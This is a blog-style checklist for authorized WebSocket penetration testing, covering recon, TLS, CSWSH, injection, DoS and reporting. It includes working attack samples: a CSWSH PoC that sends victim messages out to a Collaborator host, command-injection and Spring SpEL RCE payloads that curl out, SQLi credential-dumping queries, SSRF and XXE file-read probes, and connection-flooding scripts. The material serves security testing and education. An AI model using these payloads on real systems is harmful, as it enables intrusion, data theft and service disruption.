Comprehensive WebSocket Security Testing Checklist 🔌

By Het Mehta | Published: 2025-06-03 | Last Updated: 3/17/2026

Disclaimer

Performing security testing without explicit, written permission from the application owner is illegal and unethical. This content is provided for educational purposes only.

Introduction

WebSockets enable persistent, full-duplex, bidirectional communication between clients and servers — powering real-time features like live chat, financial trading platforms, multiplayer games, and collaborative tools. Unlike standard HTTP, a single WebSocket connection stays open indefinitely, meaning a single security flaw grants an attacker continuous, real-time access rather than a one-off request.

WebSocket security testing is a distinct discipline from regular web app testing. Traditional HTTP scanners and WAFs often miss WebSocket message traffic entirely, seeing only the initial HTTP upgrade handshake. This makes WebSocket endpoints a high-value, low-visibility target in bug bounty programs and pentest engagements alike.

This checklist is based on the OWASP WebSocket Security Cheat Sheet, PortSwigger Web Security Academy, PayloadsAllTheThings, and real-world pentest techniques.

🧪 Testing Environment Setup

WebSocket testing requires tools that can intercept and manipulate both the HTTP upgrade handshake and the subsequent bidirectional message stream — standard HTTP proxies alone are not enough.

Phase 1: Reconnaissance & Handshake Analysis

Before sending a single payload, map the WebSocket attack surface. The HTTP upgrade handshake is the gateway — it reveals the authentication mechanism, origin validation posture, subprotocols, and whether the connection is encrypted. Missing a misconfiguration here means missing the most common critical finding: CSWSH.

Discover WebSocket Endpoints:
- Open the target app, open DevTools (F12) → Network tab → filter by WS. Look for HTTP 101 Switching Protocols responses.
- In Burp Suite, check Proxy → WebSockets history tab after browsing the application. All WebSocket connections and messages are logged here.
- Search JS source files for new WebSocket(, io.connect( (Socket.IO), or wss:// / ws:// strings to find undocumented endpoints.
```
# Search JS bundle for WebSocket instantiation
grep -r "new WebSocket\|wss://\|ws://" ./js/
# Or in browser DevTools console on the target page:
# Search Sources panel for "WebSocket" to find all connection points
```
- Use Shodan to find exposed WebSocket services: title:"WebSocket" port:443 or http.component:"socket.io".
- Tools: Browser DevTools, Burp Suite WebSockets history, grep, Shodan.
Analyze the HTTP Upgrade Handshake:
- Capture the full handshake request in Burp. Verify it includes Upgrade: websocket, Connection: Upgrade, Sec-WebSocket-Key, and Sec-WebSocket-Version: 13.
```
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com
Cookie: session=abc123
```
- Check whether the connection uses wss:// (encrypted) or ws:// (plaintext). Any use of ws:// in production is a finding.
- Note the Origin header value and whether it is validated server-side — this is the root cause of CSWSH.
- Check for CSRF tokens or nonces in the handshake query string or headers.
- Identify authentication mechanism: session cookie, Authorization: Bearer header, token in query string, or no authentication at all.
- Note any Sec-WebSocket-Protocol (subprotocol: e.g., chat, stomp, graphql-ws) or Sec-WebSocket-Extensions (e.g., permessage-deflate) headers.
- Tools: Burp Suite Proxy, Browser DevTools.
Understand Message Format:
- Determine message format: JSON, plain text, binary (protobuf, MessagePack), XML, STOMP frames, or Socket.IO envelope.
- Map all distinct message types and their fields — this is your injection and access control attack surface.
- Connect manually with wscat to observe the raw message flow:
```
# Basic connection
wscat -c wss://target.com/ws

# With auth cookie
wscat -c wss://target.com/ws -H "Cookie: session=abc123"

# With Bearer token
wscat -c wss://target.com/ws -H "Authorization: Bearer <token>"

# With custom origin header
wscat -c wss://target.com/ws -H "Origin: https://evil.com"
```
- Tools: wscat, websocat, wsrepl, Burp Suite WebSockets history, Browser DevTools.

Phase 2: Transport Security

WebSocket transport security mirrors TLS testing for HTTPS. Unencrypted ws:// connections expose all message traffic to network-level eavesdropping and tampering. Even encrypted connections can be weakened by misconfigured TLS, outdated protocol versions, or insecure compression.

Encryption Checks:
- Verify all WebSocket connections use wss:// (WebSocket over TLS). Any ws:// connection in production — even for "non-sensitive" features — is a finding.
- Run testssl.sh or sslyze against the WebSocket server endpoint to check TLS version, cipher strength, and certificate validity.
```
# TLS quality check on the WebSocket server's HTTPS endpoint
./testssl.sh https://target.com

# sslyze alternative
sslyze target.com:443
```
- Check for mixed content issues: a page loaded over HTTPS that opens a ws:// connection — browsers block this but older apps may still attempt it.
- Tools: testssl.sh, sslyze, Browser DevTools Console (mixed content warnings).
Protocol & Compression Checks:
- Verify the server requires RFC 6455 (WebSocket version 13). Attempt to connect using a lower Sec-WebSocket-Version value to check for legacy protocol support:
```
GET /ws HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 0
Origin: https://target.com
```
- Check if permessage-deflate compression is enabled (visible in Sec-WebSocket-Extensions response header). Compression + secret data can be vulnerable to CRIME/BREACH-style attacks in some scenarios.
- Tools: Burp Suite Proxy (edit handshake headers), wscat.

Phase 3: Authentication, Authorization & CSWSH 🎯

Cross-Site WebSocket Hijacking (CSWSH) is the WebSocket equivalent of CSRF — and often more damaging, since an attacker gets a live, persistent, bidirectional connection rather than a single forged request. It is one of the highest-impact WebSocket vulnerabilities and appears frequently in bug bounty programs. Real-world examples include a 2023 Gitpod account takeover via insufficient origin validation.

Origin Header Validation (CSWSH):

In Burp, intercept the WebSocket handshake and modify the Origin header to a different domain. If the server returns HTTP 101, origin validation is absent — this is a CSWSH vulnerability.
```
# Original handshake - modify Origin in Burp Repeater:
Origin: https://evil.com
# or
Origin: null
# or
Origin: https://target.com.evil.com
```

Test for substring/suffix bypass in origin validation — if the server checks that the origin contains the domain name rather than exact-matching it:

# Bypass attempts for a server checking "target.com" as substring:
Origin: https://nottarget.com
Origin: https://target.com.attacker.com
Origin: https://attacker-target.com
Origin: https://target.com@attacker.com

If origin validation is missing and auth is cookie-based, prove CSWSH exploitability with a PoC HTML page that exfiltrates messages to Burp Collaborator:

<!-- CSWSH PoC: exfiltrate victim's WebSocket data -->
<script>
  var ws = new WebSocket('wss://target.com/chat');
  ws.onopen = function() {
    ws.send('READY'); // trigger server to send history/data
  };
  ws.onmessage = function(event) {
    fetch('https://YOUR-COLLABORATOR.oastify.com', {
      method: 'POST',
      mode: 'no-cors',
      body: event.data
    });
  };
</script>

Tools: Burp Suite Repeater (WebSocket), Burp Collaborator, custom HTML PoC page.

Authentication Bypass:
- Attempt to connect to the WebSocket endpoint with no credentials at all — no cookie, no token. Some endpoints are accidentally unauthenticated.
```
# Connect with no auth
wscat -c wss://target.com/ws

# Connect with an invalid/expired token
wscat -c wss://target.com/ws -H "Cookie: session=invalid"
wscat -c "wss://target.com/ws?token=INVALID"
```
- If the token is passed in the query string (?token=...), check server access logs or Burp HTTP history — query string tokens appear in logs and referrer headers, which is an information disclosure risk.
- Test whether the server re-validates authentication mid-connection. Authenticate, then invalidate the session server-side (logout from another tab), and check if the WebSocket connection remains active.
- Check if logging out closes all active WebSocket connections. If the connection persists after logout, session invalidation is incomplete.
- Tools: wscat, websocat, Burp Suite Proxy.
Message-Level Authorization (Broken Access Control):
- Identify messages that reference resources by ID (user IDs, order IDs, room IDs). Replay them with a different account's ID to test for IDOR/BOLA over WebSocket.
```
// Original message (your account):
{"action": "subscribe", "channel": "user_notifications_123"}

// IDOR test: change ID to another user's
{"action": "subscribe", "channel": "user_notifications_124"}

// BFLA test: send admin-only action as regular user
{"action": "delete_user", "user_id": "456"}
```
- Use Burp Repeater (WebSocket mode) to replay modified messages without re-establishing the connection. This lets you iterate quickly on authorization tests.
- Test privilege escalation: send messages with admin-level action or role fields as a low-privilege user. Check if the server enforces authorization per-message or only at connection time.
- Tools: Burp Suite Repeater, wscat, wsrepl.

Phase 4: Input Validation & Injection Attacks 💉

WebSocket messages are just another input channel — every injection class that applies to HTTP parameters also applies to WebSocket message fields. The key difference is that WebSocket payloads are often JSON or binary, so you need to adapt your payloads to the message format. Burp's WebSocket Repeater and Turbo Intruder extension make this systematic.

Cross-Site Scripting (XSS) via WebSocket:
- Inject XSS payloads into WebSocket message fields that are reflected in the UI of other connected users (e.g., chat messages, notifications, usernames).
```
// XSS via WebSocket chat message
{"type": "message", "content": "<img src=x onerror=alert(document.domain)>"}

// SVG-based XSS
{"type": "message", "content": "<svg/onload=alert(1)>"}

// JS protocol in link field
{"type": "profile_update", "website": "javascript:alert(document.cookie)"}
```
- Check if injected content is reflected to other users in real-time — WebSocket XSS can affect all currently connected users simultaneously, making it a stored XSS with broadcast scope.
- Payload Concepts: Same XSS payloads as HTTP — adapt to the JSON field structure. Test both the field value and any field name that might be reflected.

SQL Injection via WebSocket:

Inject SQLi payloads into WebSocket message fields that appear to query data (search, filter, lookup operations).

// Error-based SQLi probe
{"action": "search", "query": "' OR 1=1--"}

// Boolean-based blind
{"action": "search", "query": "' AND 1=1--"}
{"action": "search", "query": "' AND 1=2--"}

// Time-based blind (MySQL)
{"action": "search", "query": "' AND SLEEP(5)--"}

// UNION-based (adjust columns to match)
{"action": "search", "query": "' UNION SELECT null,username,password FROM users--"}

Use the ws-harness.py / Burp HTTP Middleware technique to route WebSocket traffic through sqlmap:

# Use ws-harness to bridge WebSocket <-> HTTP for sqlmap
# 1. Start the harness pointing at the vulnerable WebSocket endpoint
python ws-harness.py -u "ws://target.com/ws" -m message_template.txt

# 2. Run sqlmap against the harness's local HTTP listener
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch --level=5

Command Injection, SSRF, XXE via WebSocket:

Test command injection in fields that appear to trigger server-side actions (e.g., file processing, report generation, ping/diagnostic features).

// Command injection probes
{"action": "ping", "host": "127.0.0.1; whoami"}
{"action": "ping", "host": "127.0.0.1 | id"}
{"action": "ping", "host": "`curl https://YOUR-COLLABORATOR.oastify.com`"}

// SSRF probe
{"action": "fetch_url", "url": "http://169.254.169.254/latest/meta-data/"}
{"action": "fetch_url", "url": "http://internal-service.local/admin"}

For XML-based WebSocket protocols, test XXE in any XML-formatted message field.

<!-- XXE via WebSocket XML message -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<message>&xxe;</message>

Tools: Burp Suite Repeater (WebSocket), wscat, Burp Collaborator (for OOB detection), sqlmap with ws-harness.

Message Manipulation & Replay:
- Capture legitimate messages and replay them with modified parameters to test for insecure direct object references, price manipulation, quantity changes, or state transitions.
- Test for replay attack vulnerability: replay the exact same message (including any nonce or timestamp) and check if the server accepts it again. If so, replay protection is absent.
```
# Replay a captured message using wsrepl
wsrepl -u wss://target.com/ws -P auth_plugin.py
# Then paste the captured message and resend it

# Or use Burp WebSocket Repeater:
# Right-click message in WS history → Send to Repeater → edit and resend
```
- Test mass assignment: send extra JSON fields in messages (e.g., "role":"admin", "is_verified":true, "balance":9999) and check if the server honors them.
```
// Mass assignment probe: add unexpected fields
{
  "action": "update_profile",
  "name": "Attacker",
  "role": "admin",
  "is_verified": true,
  "credit_balance": 99999
}
```
- Tools: Burp Suite Repeater, wsrepl, wscat.

Phase 5: Denial-of-Service & Resource Exhaustion

WebSocket's persistent connection model fundamentally changes the DoS attack surface. Unlike HTTP where each request is independent, WebSocket allows an attacker to hold connections open indefinitely, flood message queues faster than the server can process them, or exhaust file descriptors across the system. These tests should always be performed on a staging environment with explicit permission.

Connection Exhaustion:

Open many simultaneous WebSocket connections from a single IP to test per-IP connection limits:

import asyncio, websockets

async def hold_connection():
    async with websockets.connect("wss://target.com/ws") as ws:
        await asyncio.sleep(300)  # hold open for 5 min

async def main():
    tasks = [hold_connection() for _ in range(200)]
    await asyncio.gather(*tasks, return_exceptions=True)

asyncio.run(main())

Test whether the server enforces per-user (or per-session) connection limits, not just per-IP limits.
Tools: Python websockets, custom scripts.

Message Flooding & Oversized Frames:
- Send messages at a very high rate to test for server-side rate limiting. Verify the server enforces limits and closes or throttles the connection rather than queuing indefinitely.
```
import asyncio, websockets

async def flood():
    async with websockets.connect("wss://target.com/ws",
                                  extra_headers={"Cookie": "session=abc123"}) as ws:
        for _ in range(10000):
            await ws.send('{"type":"ping"}')

asyncio.run(flood())
```
- Send an oversized message frame to test for the maxPayload limit. The server should close the connection with code 1009 (Message Too Big), not crash or hang.
```
import asyncio, websockets

async def big_frame():
    async with websockets.connect("wss://target.com/ws") as ws:
        # Send 10MB payload
        await ws.send("A" * 10 * 1024 * 1024)
        print(await ws.recv())

asyncio.run(big_frame())
```
- Test for backpressure handling: send messages faster than the server can process them and monitor server memory/CPU usage. A server without flow control can be memory-exhausted.
- Tools: Python websockets, websocat (websocat -n wss://target.com/ws --binary-prefix <payload_file>).
Idle Connection & Ping/Pong Handling:
- Open a connection and leave it completely idle — verify the server eventually closes it with an idle timeout rather than holding it open indefinitely.
- Send a large number of ping frames rapidly and check if the server handles them gracefully or becomes resource-constrained.

Phase 6: Business Logic & Protocol Edge Cases

WebSocket applications often implement complex, stateful business logic over the message channel — trading operations, multi-user collaboration, real-time auctions — that automated scanners cannot reason about. This phase requires understanding what the application actually does and finding ways to abuse the intended flows.

Business Logic Abuse:
- Test race conditions in real-time operations: send the same action (e.g., purchase, bid, transfer) from multiple WebSocket connections simultaneously and check for duplicate execution.
- Test sequence bypass: send later-step messages (e.g., "confirm_order") without completing earlier steps (e.g., "add_payment") to check if workflow steps are enforced server-side.
- Test negative values, zero, and extremely large values in numeric fields (prices, quantities, transfer amounts).
```
// Numeric boundary tests
{"action": "transfer", "amount": -1000}
{"action": "transfer", "amount": 0}
{"action": "transfer", "amount": 9999999999}
{"action": "bid", "price": 0.000001}
```
Protocol-Level Edge Cases:
- Send malformed JSON or broken message structures — the server should respond with a protocol error, not crash or expose internal error details.
```
# Send malformed JSON via wscat
wscat -c wss://target.com/ws
> {"action": "search", "query":   # incomplete JSON
> not_json_at_all
> {}
> null
> []
```
- Test sending binary frames to a text-only endpoint and vice versa — this can trigger unhandled exceptions in poorly written servers.
- Test the reconnection behavior — does the server re-validate authentication and session state when a dropped client reconnects? Or does it skip validation on reconnect?
- For STOMP-over-WebSocket (common in Spring apps), test for CVE-2018-1270-style SpEL injection via the selector header in STOMP SUBSCRIBE frames. Spring's in-memory broker evaluated the selector header using an unsandboxed StandardEvaluationContext, enabling RCE. The fix was upgrading to Spring Framework 5.0.5+ or 4.3.15+.
```
# CVE-2018-1270: SpEL injection via STOMP selector header
# The selector header is evaluated as a Spring Expression (SpEL) — use an unsandboxed StandardEvaluationContext
# Affects Spring Framework 5.0.x < 5.0.5, 4.3.x < 4.3.15
# Step 1: Connect to STOMP endpoint
wscat -c wss://target.com/stomp -s stomp
> CONNECT
> accept-version:1.1,1.2
> heart-beat:0,0
> 
> ^@
# Step 2: Send SUBSCRIBE frame with malicious selector header (SpEL RCE payload)
> SUBSCRIBE
> id:sub-0
> destination:/topic/greetings
> selector:T(java.lang.Runtime).getRuntime().exec('curl https://YOUR-COLLABORATOR.oastify.com')
> 
> ^@
```
Information Disclosure:
- Check if server error responses leak stack traces, internal IPs, framework versions, database query details, or file paths.
- Check if messages from other users' sessions are accidentally broadcast to your connection (mass assignment of subscription channels, room ID collision).
- Check if messages contain more fields than necessary — internal user IDs, email addresses, IP addresses, or server metadata that wasn't intended for the client.

Phase 7: Security Configuration & Logging

WebSocket-specific security configurations are often left at defaults. Verifying these controls is fast and frequently produces findings that are easy to remediate but easy to miss in a standard web application test.

Security Configuration Checks:
- Verify that session cookies used for WebSocket authentication have the Secure, HttpOnly, and SameSite=Lax (or Strict) flags set. SameSite=Lax/Strict is a strong secondary CSWSH mitigation.
- Check that the Content-Security-Policy header on the WebSocket-using page does not use connect-src: * — this would allow the page's JavaScript to open WebSocket connections to any domain.
- Verify the server enforces a per-user (not just per-IP) connection limit to prevent connection exhaustion by authenticated users.
- If the app uses Socket.IO, confirm it's running a patched version — past versions had DoS and authentication bypass vulnerabilities. Check the version number in responses or package.json.
- Verify the WebSocket server validates the Sec-WebSocket-Protocol subprotocol — accepting arbitrary subprotocols can enable protocol confusion attacks.
Logging & Monitoring Verification:
Traditional HTTP access logs capture only the initial upgrade request, missing all message-level events. This is a blind spot unique to WebSocket applications — confirming it exists is a valid finding.
- Verify that authentication failures during the WebSocket handshake are logged (not silently dropped).
- Verify that authorization failures on individual messages are logged with the user identity, IP, and the attempted action.
- Verify that rate limit violations and oversized message rejections are logged and alertable.
- Confirm that message-level logs do NOT contain sensitive data: full message bodies, session tokens, passwords, or PII.

Phase 8: Reporting 📝

WebSocket findings often need extra context in reports — reviewers may not immediately understand why CSWSH is critical or how a missing rate limit on a persistent connection differs from the same issue on an HTTP endpoint. Always include the full handshake request in your evidence.

Document Findings:
Provide Remediation Recommendations specific to the framework in use (Node.js ws, Django Channels, Spring WebSocket, Gorilla WebSocket).
Structure Report: Executive Summary, Methodology, Findings (sorted by severity), Conclusion, Appendices.

📚 Resources

Conclusion

WebSocket security testing is increasingly important as real-time features become standard across web applications. The persistent, bidirectional nature of WebSocket connections means that a single missed check — especially missing origin validation — can hand an attacker a live, authenticated session rather than a one-off forged request. Use this checklist on every engagement where you find WebSocket endpoints, adapt the payloads to the specific message format in use, and always verify both the handshake layer and the message layer independently.